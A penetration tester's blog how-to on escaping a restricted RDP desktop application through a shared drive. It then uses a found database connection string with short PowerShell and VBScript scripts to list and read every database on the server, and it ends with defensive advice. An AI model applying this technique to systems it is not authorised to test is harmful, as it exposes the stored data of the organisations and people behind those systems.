Blog: How-Tos
PowerShell and VBScript: Getting full DB access via restricted desktop apps
Recently I reviewed a desktop application which was accessed over a restricted RDP connection. The idea was that only the application could be accessed but none of the normal features.
Everything was pretty well locked-down; I couldn’t browse to any folders, and couldn’t use wild cards to jump from location to location. However, when I shared my own drive with the session I could access that, and it was with that method that I managed to get an initial shell on the box.
Let’s go after the database
I thought that rather than attacking the application (which just showed the information) I would go after where all the data was stored i.e. the database.
After some searching I came across a database connection string. I didn’t have access to any tools on the machine so I instead decided to write a quick PowerShell script. It’s nothing fancy, all it does is open a connection to the database with the credentials that I found earlier and then executes a SQL command and prints out the data to the console.
PowerShell
$conn.Open();
$cmd = New-Object System.Data.SqlClient.SQLCommand(“SELECT name FROM master.dbo.sysdatabases;”, $conn);
$rdr = $cmd.ExecuteReader();
$rs = @();
while ($rdr.Read()) {
$r = @{};
for ($i = 0; $i -lt $rdr.FieldCount; $i++){
$r[$rdr.GetName($i)] = $rdr.GetValue($i)
}
$rs += New-Object PSObject -Property $r
}
$conn.Close();
$rs
The last line prints the data, now there are many ways of dealing with the output, you can print it out raw as I’ve done or you can pipe it to a file, or specific files such as CSV or HTML. I chose the simplest approach in this case.
Once I had this running I had access to the entire database, in fact I had access to all 30 odd databases which were hosted on that machine.
The above is pretty simple, and PowerShell helps out a lot, in case I had the same test where PowerShell had been restricted or it was a legacy OS such as Windows 2003 I could use the following script to perform the same trick.
VBScript
Dim rs
Set conn = CreateObject(“ADODB.Connection”)
Set rs = CreateObject(“ADODB.Recordset”)
conn.Open “Driver={SQL Server};Server=****;Database=****;Uid=****;Pwd=****;”
Set rs = conn.Execute(“SELECT * FROM master.dbo.sysdatabases;”)
‘ Loops through every row
Do Until rs.EOF
‘ Loops through every field
For i = 0 to rs.Fields.Count – 1
WScript.Echo rs.Fields(i).Name & ” = ” & CStr(rs.Fields(i))
Next
WScript.Echo “–BREAK–”
rs.MoveNext
Loop
rs.Close
conn.Close
Set rs = Nothing
Set conn = Nothing
If we run the above script we get the following output, which indecently is a list of databases.
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
name = master
dbid = 1
sid = ☺
mode = 0
status = 65544
status2 = 1090520064
crdate = 08/04/2003 09:13:36
reserved = 01/01/1900
category = 0
cmptlevel = 90
filename = c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf
version = 611
–BREAK—
…Omitted…
Before you ask, Yes, that smiley face is how the SID was printed out.
On a normal web application test we would rely on performing SQL injection or in some cases being able to upload our own scripts, but when you are dealing with a desktop application so long as you have the connection string there is nothing really stopping you from querying the data. Also depending how the database is locked down you might only be able to access one table or all the databases.
How can you prevent this?
- Install AppLocker to restrict access to cmd, powershell, powershell_ise, cscript etc.
- Encrypt connection strings.
- Lock down the database schema.